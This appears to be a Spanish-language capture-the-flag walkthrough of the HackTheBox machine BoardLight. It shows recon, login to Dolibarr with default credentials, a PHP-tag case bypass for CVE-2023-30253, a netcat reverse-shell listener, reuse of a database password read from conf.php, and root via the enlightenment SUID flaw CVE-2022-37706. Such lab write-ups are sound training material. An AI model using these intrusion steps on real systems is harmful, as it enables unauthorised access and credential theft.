This page looks best with JavaScript enabled

HackTheBox - BoardLight

 β€’  ✍️ sckull

BoardLight corre Dolibarr en el cual logramos acceder con credenciales por “default”, ademas descubrimos una vulnerabilidad en la que es posible realizar bypass al editor HTML y permite ejecutar codigo PHP y Comandos en la maquina. Accedimos a un usuario con las credenciales almacenadas en la configuracion de Dolibarr. Finalmente explotamos una vulnerabilidad en enlightenment que nos permitio escalar privilegios.

Recon

nmap

nmap muestra multiples puertos abiertos: http (80) y ssh (22).

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
# Nmap 7.94SVN scan initiated Thu Jul 11 22:59:18 2024 as: nmap -p22,80 -sV -sC -oN nmap_scan 10.10.11.11
Nmap scan report for 10.10.11.11
Host is up (0.070s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 06:2d:3b:85:10:59:ff:73:66:27:7f:0e:ae:03:ea:f4 (RSA)
|   256 59:03:dc:52:87:3a:35:99:34:44:74:33:78:31:35:fb (ECDSA)
|_  256 ab:13:38:e4:3e:e0:24:b4:69:38:a9:63:82:38:dd:f4 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Jul 11 22:59:28 2024 -- 1 IP address (1 host up) scanned in 9.29 seconds

Web Site

Los headers no muestran ninguna redireccion.

1
2
3
4
5
6
7
8
9
β”Œ[kali@kali] [/dev/pts/8] 
β””[~/htb/boardlight]> curl -sI http://10.10.11.11/
HTTP/1.1 200 OK
Date: Fri, 12 Jul 2024 02:59:52 GMT
Server: Apache/2.4.41 (Ubuntu)
Content-Type: text/html; charset=UTF-8

β”Œ[kali@kali] [/dev/pts/8] 
β””[~/htb/boardlight]>

La tematica del sitio es sobre Ciberseguridad.

image

Observamos en el footer el dominio board.htb el cual agregamos al archivo /etc/hosts.

image

Directory Brute Forcing

feroxbuser muestra unicamente los recursos del sitio.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
β”Œ[kali@kali] [/dev/pts/8] 
β””[~/htb/boardlight]> feroxbuster -u http://board.htb
                                                                                                                                                                                                                  
 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher πŸ€“                 ver: 2.10.3
───────────────────────────┬──────────────────────
 🎯  Target Url            β”‚ http://board.htb
 πŸš€  Threads               β”‚ 50
 πŸ“–  Wordlist              β”‚ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
 πŸ‘Œ  Status Codes          β”‚ All Status Codes!
 πŸ’₯  Timeout (secs)        β”‚ 7
 🦑  User-Agent            β”‚ feroxbuster/2.10.3
 πŸ’‰  Config File           β”‚ /etc/feroxbuster/ferox-config.toml
 πŸ”Ž  Extract Links         β”‚ true
 🏁  HTTP methods          β”‚ [GET]
 πŸ”ƒ  Recursion Depth       β”‚ 4
 πŸŽ‰  New Version Available β”‚ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menuβ„’
──────────────────────────────────────────────────
404      GET        9l       31w      271c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
403      GET        9l       28w      274c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
301      GET        9l       28w      307c http://board.htb/images => http://board.htb/images/
301      GET        9l       28w      303c http://board.htb/js => http://board.htb/js/
301      GET        9l       28w      304c http://board.htb/css => http://board.htb/css/
200      GET        5l       48w     1493c http://board.htb/images/fb.png
200      GET       11l       50w     2892c http://board.htb/images/d-1.png
200      GET        9l       24w     2405c http://board.htb/images/d-2.png
200      GET        5l       23w     1217c http://board.htb/images/location-white.png
200      GET      100l      178w     1904c http://board.htb/css/responsive.css
200      GET        6l       12w      491c http://board.htb/images/user.png
200      GET        5l       55w     1797c http://board.htb/images/linkedin.png
200      GET        6l       52w     1968c http://board.htb/images/twitter.png
200      GET      280l      652w     9100c http://board.htb/about.php
200      GET        7l       48w     3995c http://board.htb/images/d-5.png
200      GET        6l       57w     1878c http://board.htb/images/youtube.png
200      GET        5l       14w     1227c http://board.htb/images/insta.png
200      GET        3l       10w      667c http://board.htb/images/telephone-white.png
404      GET        1l        3w       16c http://board.htb/portfolio.php
200      GET        5l       12w      847c http://board.htb/images/envelope-white.png
200      GET      294l      635w     9426c http://board.htb/contact.php
200      GET      294l      633w     9209c http://board.htb/do.php
200      GET      517l     1053w    15949c http://board.htb/index.php
200      GET      714l     1381w    13685c http://board.htb/css/style.css
200      GET      536l     2364w   201645c http://board.htb/images/who-img.jpg
200      GET        2l     1276w    88145c http://board.htb/js/jquery-3.4.1.min.js
200      GET      348l     2369w   178082c http://board.htb/images/map-img.png
200      GET     4437l    10973w   131639c http://board.htb/js/bootstrap.js
200      GET    10038l    19587w   192348c http://board.htb/css/bootstrap.css
200      GET      517l     1053w    15949c http://board.htb/

Subdomain Discovery

Tras ejecutar ffuf este muestra el subdominio crm el cual agregamos a /etc/hosts.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
β”Œ[kali@kali] [/dev/pts/8] 
β””[~/htb/boardlight]> ffuf -w /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt -H "Host: FUZZ.board.htb" -u http://board.htb -fl 518

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://board.htb
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt
 :: Header           : Host: FUZZ.board.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response lines: 518
________________________________________________

crm                     [Status: 200, Size: 6360, Words: 397, Lines: 150, Duration: 83ms]
:: Progress: [100000/100000] :: Job [1/1] :: 392 req/sec :: Duration: [0:03:47] :: Errors: 0 ::

Dolibarr - Code Injection

Al visitar el subdominio observamos el login de Dolibarr 17.0.0.

image

Logramos ingresar tras ingresar las credenciales admin:admin.

image

Dolibarr tiene una vulnerabilidad (CVE-2023-30253) que permite la inyeccion de codigo PHP al editar y visualizar las paginas. Para ello nos dirigimos a Websites y creamos un nuevo sitio, rellenando el formulario con los valores necesarios.

image

Una vez con el sitio creado, nos dirigimos a Pages y creamos una nueva seleccionando la primera opcion (Or create page from scratch or from a page template) rellenando los valores necesarios.

image

Finalmente seleccionamos Edit source HTML lo cual nos lleva a un editor de HTML.

image

En este editor es donde realizamos la inyeccion del codigo, en si, codigo PHP no esta permitido o esta deshabilitado, para ello es necesario realizar “bypass”, en este caso cambiando los caracteres por minusculas o mayusculas (Php, pHp, pHP, PHP).

Tras agregar el codigo deseado, en nuestro caso la ejecucion de los comandos id;pwd damos a guardar.

image

El sitio nos redirigira nuevamente a las propiedades del sitio, en la parte derecha observamos un icono al darle clic nos muestra una pre-visualizacion de la pagina seleccionada.

image

Y como podemos observar el codigo PHP con la ejecucion de los dos comandos fue exitoso.

image

User - www-data

Ejecutamos una shell inversa utilizando shells en el sitio.

image

Logramos acceder a la maquina como www-data.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
β”Œ[kali@kali] [/dev/pts/4] 
β””[~/htb/boardlight]> rlwrap nc -lvp 1335
listening on [any] 1335 ...
connect to [10.10.14.10] from board.htb [10.10.11.11] 51398
can't access tty; job control turned off
$ which python
$ which python3
/usr/bin/python3
$ python3 -c 'import pty;pty.spawn("/bin/bash")'
www-data@boardlight:~/html/crm.board.htb/htdocs/website$ whoami;id
www-data
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@boardlight:~/html/crm.board.htb/htdocs/website$

User - Larissa

En el archivo de configuracion de dolibarr encontramos las credenciales para la base de datos.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
www-data@boardlight:~/html/crm.board.htb/htdocs$ cat conf/conf.php
cat conf/conf.php

[...]

$dolibarr_main_url_root='http://crm.board.htb';
$dolibarr_main_document_root='/var/www/html/crm.board.htb/htdocs';
$dolibarr_main_url_root_alt='/custom';
$dolibarr_main_document_root_alt='/var/www/html/crm.board.htb/htdocs/custom';
$dolibarr_main_data_root='/var/www/html/crm.board.htb/documents';
$dolibarr_main_db_host='localhost';
$dolibarr_main_db_port='3306';
$dolibarr_main_db_name='dolibarr';
$dolibarr_main_db_prefix='llx_';
$dolibarr_main_db_user='dolibarrowner';
$dolibarr_main_db_pass='serverfun2$2023!!';
$dolibarr_main_db_type='mysqli';
$dolibarr_main_db_character_set='utf8';
$dolibarr_main_db_collation='utf8_unicode_ci';
// Authentication settings
$dolibarr_main_authentication='dolibarr';

[...]

www-data@boardlight:~/html/crm.board.htb/htdocs$ 

Observamos en el archivo /etc/passwd que larissa esta registrada en la maquina, utilizamos la contrasena anterior para cambiar a este usuario.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
www-data@boardlight:~/html/crm.board.htb/htdocs$ cat /etc/passwd |grep home
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
cups-pk-helper:x:113:120:user for cups-pk-helper service,,,:/home/cups-pk-helper:/usr/sbin/nologin
larissa:x:1000:1000:larissa,,,:/home/larissa:/bin/bash
www-data@boardlight:~/html/crm.board.htb/htdocs$ su larissa
Password: serverfun2$2023!!
larissa@boardlight:/var/www/html/crm.board.htb/htdocs$ whoami;id
larissa
uid=1000(larissa) gid=1000(larissa) groups=1000(larissa),4(adm)
larissa@boardlight:/var/www/html/crm.board.htb/htdocs$

Realizamos la lectura de la flag user.txt en la carpeta del usuario.

1
2
3
4
5
6
7
larissa@boardlight:/var/www/html/crm.board.htb/htdocs$ cd
larissa@boardlight:~$ ls
Desktop    Downloads  Pictures  Templates  Videos
Documents  Music      Public    user.txt
larissa@boardlight:~$ cat user.txt
b69ae93e41529e723988cc01e6122a48
larissa@boardlight:~$

Privesc

Enumeramos los ficheros SUID y observamos enlightenment, al parecer es un gestor de ventanas (1).

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
larissa@boardlight:~$ find / -perm -4000 2>/dev/null
/usr/lib/eject/dmcrypt-get-device
/usr/lib/xorg/Xorg.wrap
/usr/lib/x86_64-linux-gnu/enlightenment/utils/enlightenment_sys
/usr/lib/x86_64-linux-gnu/enlightenment/utils/enlightenment_ckpasswd
/usr/lib/x86_64-linux-gnu/enlightenment/utils/enlightenment_backlight
/usr/lib/x86_64-linux-gnu/enlightenment/modules/cpufreq/linux-gnu-x86_64-0.23.1/freqset
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/sbin/pppd
/usr/bin/newgrp
/usr/bin/mount
/usr/bin/sudo
/usr/bin/su
/usr/bin/chfn
/usr/bin/umount
/usr/bin/gpasswd
/usr/bin/passwd
/usr/bin/fusermount
/usr/bin/chsh
/usr/bin/vmware-user-suid-wrapper
larissa@boardlight:~$

Encontramos que existe una vulnerabilidad que permite escalar privilegios y el exploit CVE-2022-37706.

Creamos el exploit en la maquina, lo ejecutamos y logramos escalar privilegios a root, finalmente realizamos la lectura de la flag root.txt.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
larissa@boardlight:/dev/shm$ nano exploit.sh
larissa@boardlight:/dev/shm$ chmod +x exploit.sh 
larissa@boardlight:/dev/shm$ ./exploit.sh 
CVE-2022-37706
[*] Trying to find the vulnerable SUID file...
[*] This may take few seconds...
[+] Vulnerable SUID binary found!
[+] Trying to pop a root shell!
[+] Enjoy the root shell :)
mount: /dev/../tmp/: can't find in /etc/fstab.
# id
uid=0(root) gid=0(root) groups=0(root),4(adm),1000(larissa)
# cd /root
# ls
root.txt  snap
# cat root.txt
1c3cd61b4a2b0833d5f6f6769712d87a
#
Share on

Dany Sucuc
WRITTEN BY
sckull
RedTeamer & Pentester wannabe